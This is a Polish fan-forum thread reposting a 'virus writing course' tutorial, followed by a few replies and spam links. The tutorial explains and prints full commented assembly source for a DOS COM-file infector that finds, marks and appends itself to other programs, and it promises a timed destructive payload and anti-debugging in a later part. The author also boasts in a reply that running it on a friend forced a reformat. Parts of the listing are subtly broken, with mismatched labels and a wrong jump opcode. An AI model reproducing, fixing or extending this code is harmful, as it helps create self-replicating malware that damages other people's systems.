Forum Green Day Strona Główna


Green Day
Green Day www.greendays.prv.pl
Odpowiedz do tematu
Pisanie wirusów # 2
Bartek
Billie Joe Armstrong
Billie Joe Armstrong


Dołączył: 12 Mar 2006
Posty: 516
Przeczytał: 0 tematów

Ostrzeżeń: 1/5
Skąd: Radlin

Możesz zamknąć na chwilę oczy i szybko to przeczytać: Wink

"!! UWAGA !! Nie ponoszę żadnej odpowiedzialności za szkody spowodowane
jakimkolwiek praktykowaniem informacji zawartych w tym FAQ."
Materiały zamieszczone są wyłącznie w celach edukacyjnych.

Możesz już otworzyć oczy, PRZESZŁO Smile)

Witam w kolejnej części FAQ poświęconemu WIRUSOM. Jest to pewnego rodzaju KURS PISANIA WIRUSÓW. Jeśli to czytasz, tzn. że spodobała Ci się pierwsza część z tego cyklu. Jeśli jej nie przeczytałeś, to lepiej tam zerknij.

Tekst ten można dowolnie kopiować, zamieszczać na swoich stronach internetowych, publikować w dowolnych czasopismach, itp. Zezwalam również na małą modyfikacje (poprawienie błędów ortograficznych, itp.). Proszę tylko o zaznaczenie autorstwa tekstu, czyli dodanie napisu BY BINBOY.

1. ZACZYNAMY

W tym FAQ zajmiemy się jeszcze wirusami plików COM. Znamy już budowę takiego pliku. Wiemy jak one działają. Potrafimy również wykonać podstawowe operacje w assemblerze, tzn. dopisywać coś do pliku, odczytywać plik, szukać pliku, zmieniać jego datę i czas ostatniej modyfikacji i wiele innych. Jednak nasze dotychczas napisane wirusy były mało efektywne. Uszkadzały trwale może bardzo ważne dane. Chyba nie oto nam chodziło, nie ? Smile, ale uważam, że taki wstęp do pisania wirusów jest bardzo dobry. Teraz nauczymy się dopisywania do innych programów bez ich uszkadzania. Do tego celu posłużę się wirusami wygenerowanymi przez program IVP. Są one bardzo przejrzyste i proste.

2. KILKA KOMEND

Zanim zaczniemy pisać naszego nowego wirusa przypomnę kilka komend, które będą potrzebne do jego stworzenia:

MOVSB,MOVSW - instrukcja kopiuje do komórki ES:DI wartość komórki DS:SI oraz zmniejsza DI i SI o rozmiar komórki, jeśli znacznik D jest ustawiony lub zwiększa gdy D jest wyzerowany.

LEA rej,adr - instrukcja oblicza offset adresu drugiego argumentu i zapamiętuje go w pierwszym operandzie.

SUB X,Y - instrukcja powoduje odjecie wartości rejestru lub stałej Y od X i zapamiętanie wyniku w rejestrze X

3. DO ROBOTY

Zastanówmy się, jak ma działać nasz wirus. Powinien wykonywać on kilka kroków:

a) Odnaleźć plik do infekcji
b) Sprawdzić, czy czasem nie jest już on zainfekowany
c) Dokleić się na jego końcu
d) Zapamiętać jego trzy pierwsze bajty
e) Zmodyfikować te pierwsze bajty tak, by wskazywały na kod wirusa

Dopisywanie wirusa jest bardzo proste, jest jednak pewna pułapka, na którą wszyscy początkujący się łapią. Nie wolno podawać adresów stałych, np. nie można przy funkcji wyszukującej plik podać nazwę tego pliku jako np.

MOV DX,OFFSET Maska

Kompilator asemblerowy kompilując tę instrukcję "OFFSET Maska" zamieni ją na stałą wskazującą na zmienną Maska, np. 10H. Teraz jeśli wirus dopisze się do pliku o wielkości np. 100H, to pod adresem 10H będzie znajdował się kod programu, a nie nazwa. Nazwa szukanego pliku będzie znajdowała się pod adresem 110H. Nasuwa się teraz pytanie. Skąd możemy wiedzieć ile trzeba dodać? Odpowiedź jest prostsza pewnie niż myślisz. Do tego celu trzeba posłużyć się instrukcją CALL. Po wykonaniu instrukcji CALL na stos zostaje położony adres aktualnie wykonywanej komendy (IP), a dokładniej komendy, od której ma być dalej wykonywany program, po to by po instrukcji RET procesor wiedział dokąd ma skoczyć (wrócić). Jeśli więc napiszemy:

CALL Etyk1
Etyk1: POP AX

To w rejestrze AX znajdzie się adres (IP) aktualnie wykonywanego rozkazu (czyli OFFSET Etyk1). Jeśli już wiemy ile mamy dodawać do każdego adresu napisanie wirusa jest bardzo proste. Po zdjęciu ze stosu IP musimy go jednak gdzieś zapisać. Można to zrobić w jakiejś zmiennej, ale to bardzo skomplikuje kod wirusa, a można też zapamiętać go w rejestrze BP. Rejestr ten nie jest zmieniany przez żadną funkcję i dopóki sami nie zmienimy jego wartości będzie zawierał adres punktu startu.

4. WIRUSSS

Przejdźmy do rzeczy. Poniżej znajduje się kod wirusa wygenerowanego przez program IVP i zmodyfikowanego przeze mnie tak by był prostszy. Przejrzyj go dokładnie. Został on wzbogacony komentarzami by ułatwić jego zrozumienie.

POCZĄTEK:


CODE SEGMENT PUBLIC 'CODE'
ASSUME CS:CODE
ORG 100H

Start:
DB 0E9H,2,0 ; skok do następnej komendy
DW 'XX' ; identyfikator pliku
Virus:
CALL RealCode ; skok do RealCode
RealCode:
POP BP ; zdjęcie IP ze stosu
SUB BP,3 ; 3 to długość instrukcji CALL RealCode
; teraz mamy w rejestrze BP wartość,
; którą musimy dodawać do każdego z
; adresów
LEA SI,OFFSET [BP+OldJump] ; do SI adres OldJUMP
MOV DI,100H ; do DI adres 100H
PUSH DI ; na stos wartość 100H
; by zadziałała instrukcja RET
MOVSB ; przekopiowanie bajtu
MOVSW ; i jeszcze dwóch bajtów
MOVSW ; i kolejne dwa bajty
; z SI do DI. Teraz na początku
; programu znajduje się jego
; oryginalny KOD
MOV [BP+Counter],BYTE PTR 0 ; wyzerowanie licznika zarażeń
LEA DX,[BP+OFFSET ComFileSpec] ; do DX nazwa szukanego pliku
CALL FindFirst ; szukanie i zarażenie pliku
RET ; powrót pod 100H i wykonanie
; oryginalnego programu
FindFirst: ; szukanie pliku
CMP [BP+Counter],5 ; jeśli zainfekowane
JA Quit ; więcej niż 5 plików to QUIT
MOV AH,4EH ; szukanie pliku
MOV CX,7 ; z dowolnymi atrybutami
FindNext:
INT 21H
JC Quit ; jeśli nie znaleziono, to QUIT
CALL Infection ; jeśli znaleziono, to infekcja
FindNext2:
MOV AH,4FH ; szukanie kolejnej ofiary Smile
JMP FindNext
Quit:
RET
Infection: ; infekcja zbioru
MOV AL,0H ; do AL 0, czyli
CALL Open ; otwarcie zbioru tylko do
; odczytu
MOV AH,3FH ; przeczytanie
MOV CX,1AH ; 1A bajtów
LEA DX,[BP+OFFSET Buffer] ; i zapamiętanie ich w buforze
INT 21H
MOV AH,3EH ; zamknięcie pliku
INT 21H
CheckCOM:
MOV BX,WORD PTR [BP+80H+1AH] ; do BX wielkość zbioru z
; bloku DTA
CMP WORD PTR CS:[BP+Buffer+3],'XX' ; jeśli 4 i 5 bajt zbioru
; to XX
JE QuitInfect ; tzn. że jest on już zarażony
; wiec koniec infekcji
JMP InfectCOM ; skok do INFECTCOM
QuitInfect:
RET
InfectCOM:
SUB BX,3 ; zmniejszenie wielkości
; zbioru o 3, bo tyle zajmuje
; polecenie JMP
LEA SI,[BP+Buffer] ; do SI adres bufora
LEA DI,[BP+OldJump] ; do DI adres OLDJUMP
MOVSB ; / przekopiowanie trzech
MOVSW ;- pierwszych bajtów pliku
MOVSW ;/ do zmiennej OLDJUMP
MOV [BP+Buffer],BYTE PTR 09EH ; zamiana pierwszego bajtu w
; buforze na 9E, czyli JMP
MOV WORD PTR [BP+Buffer+1],BX ; dalej zapisanie wielkoœci
; zbioru.
MOV WORD PTR [BP+Buffer+3],'XX' ; za tym wszystkim w 4 i 5
; bajcie zapisanie XX, czyli
; identyfikator zarażenia
FinishInfection:
MOV AL,2 ; AL=2 czyli
CALL Open ; otwarcie zbioru do odczytu i zapisu
MOV AH,40H ; zapisanie w pliku
LEA DX,[BP+Buffer] ; z bufora
MOV CX,5 ; 5 bajtów
INT 21H
JC CloseFile ; jeśli błąd, to zamknij plik
MOV AL,2 ; AL=2, czyli
CALL Move_fp ; ustawienie wskaźnika na
; koniec pliku
MOV AH,40H ; zapisanie
MOV CX,EOF-Virus ; (koniec - początek) bajtów
LEA DX,[BP+OFFSET Virus] ; począwszy od początku wirusa
INT 21H
INC [BP+Counter] ; zwiększenie licznika
; zarażonych zbiorów
CloseFile:
MOV AH,3EH ; zamknięcie dojścia do pliku
INT 21H
RET
Move_fp: ; zmiana położenia wskaźnika
MOV AH,42H ; w pliku
XOR CX,CX
XOR DX,DX
INT 21H
RET
Open:
MOV AH,3DH ; otwarcie pliku
MOV DX,9EH
INT 21H
XCHG AX,BX
RET
ComFileSpec DB "*.COM",0 ; szukany plik
OldJump DB 0CDH,020H,0,0,0 ; zapamiętane 3-pierwsze bajty
EFO EQU $
; zapisywana jest część wirusa aż do EOF. Zmienne poniżej nie są
; zapisywane w pliku, gdyż tylko zwiększyłyby jego objętość, a
; ich wartości nie są ważne - bufory
Counter DB 0 ; licznik zarażeń
Buffer DB 01AH DUB (?) ; bufor
EOV EQU $
END START

5. KONIEC

Wirus ten jest bardzo prosty i ma pewne błędy. Jego ofiary zmieniają swoją datę i czas ostatniej modyfikacji. Można go o to właśnie udoskonalić.

Na razie to wszystko. W kolejnej części tego FAQ zajmę się jeszcze plikami COM. Udoskonalimy kod naszego wirusa. Dodamy procedurę destrukcyjną, która uruchomi się konkretnego dnia. Zabezpieczymy również naszego wirusa przed oglądaniem go disassemblerami i próbami jego debuggowania.


Post został pochwalony 0 razy
Zobacz profil autora
Vinyl
Mike Drint
Mike Drint


Dołączył: 14 Kwi 2006
Posty: 441
Przeczytał: 0 tematów

Ostrzeżeń: 1/5
Skąd: Radlin city town

ooo fajnie dobrze wiedziec


Post został pochwalony 0 razy
Zobacz profil autora
Bartek
Billie Joe Armstrong
Billie Joe Armstrong


Dołączył: 12 Mar 2006
Posty: 516
Przeczytał: 0 tematów

Ostrzeżeń: 1/5
Skąd: Radlin

no ale igor musiał formata robic jak mu to puściłem


Post został pochwalony 0 razy
Zobacz profil autora
Vinyl
Mike Drint
Mike Drint


Dołączył: 14 Kwi 2006
Posty: 441
Przeczytał: 0 tematów

Ostrzeżeń: 1/5
Skąd: Radlin city town

to dobrze ze hoc jedna osoba to czyta


Post został pochwalony 0 razy
Zobacz profil autora
Bartek
Billie Joe Armstrong
Billie Joe Armstrong


Dołączył: 12 Mar 2006
Posty: 516
Przeczytał: 0 tematów

Ostrzeżeń: 1/5
Skąd: Radlin

hyba masz bana odrazu 5/5


Post został pochwalony 0 razy
Zobacz profil autora
Bunjo46
Nowy


Dołączył: 25 Sty 2007
Posty: 4
Przeczytał: 0 tematów

Ostrzeżeń: 0/5

ok, check this
[link widoczny dla zalogowanych]


Post został pochwalony 0 razy
Zobacz profil autora
Deleelem29
Nowy


Dołączył: 07 Mar 2007
Posty: 7
Przeczytał: 0 tematów

Ostrzeżeń: 0/5

These girls are mad!
[link widoczny dla zalogowanych]


Post został pochwalony 0 razy
Zobacz profil autora
Pisanie wirusów # 2
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach
Wszystkie czasy w strefie EET (Europa)  
Strona 1 z 1  

  
  
 Odpowiedz do tematu